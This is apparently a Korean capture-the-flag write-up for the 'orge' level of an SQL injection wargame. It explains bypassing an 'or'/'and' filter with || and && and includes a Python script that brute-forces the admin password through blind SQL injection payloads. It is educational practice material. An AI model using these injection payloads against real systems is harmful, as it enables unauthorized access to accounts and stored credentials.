반응형
분석
orge문제도 pw만을 전달받고
or과 and를 사용할 수 없습니다.
처음 쿼리를 통해서 참 거짓을 알려주고
다음에 addslashes를 거치고
result의 pw와 입력된 pw가 같아야 문제를 풀 수 있습니다.
이번에도 브루트포싱이겠군요.
or, and를 사용하지 못하니까 || &&를 사용해서 풀면 될 것 같습니다.
풀이
id가 guest면서 pw가 공란인건 존재하지 않습니다.
그럼 이제 or을 가지고 제가 원하는 걸 찾아봅시당
이건 코드짜기 귀찮아서 그냥 손으로 대입했는데
admin의 pw 길이가 8입니다.
import requests
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?"
cookie = {'PHPSESSID' :'내가 만든 쿠키'}
length = 8
pw = ''
for i in range (1, length+1) :
for j in range(0x20, 0x7e+1) :
query = 'pw=\' || id=\'admin\' %26%26 substr(pw,1,{})=\'{}\'%23'.format(i, pw+chr(j))
print(query,'\tfind:',pw)
req = requests.get(url+query, cookies=cookie)
if('Hello admin' in req.text) :
pw += chr(j)
break
print('result:',pw)
코드를 작성하고
또 소문자일거 같으니 소문자로 입력해보면(자꾸 아스키 대문자가 앞이라서 대문자로 찾음;;)
반응형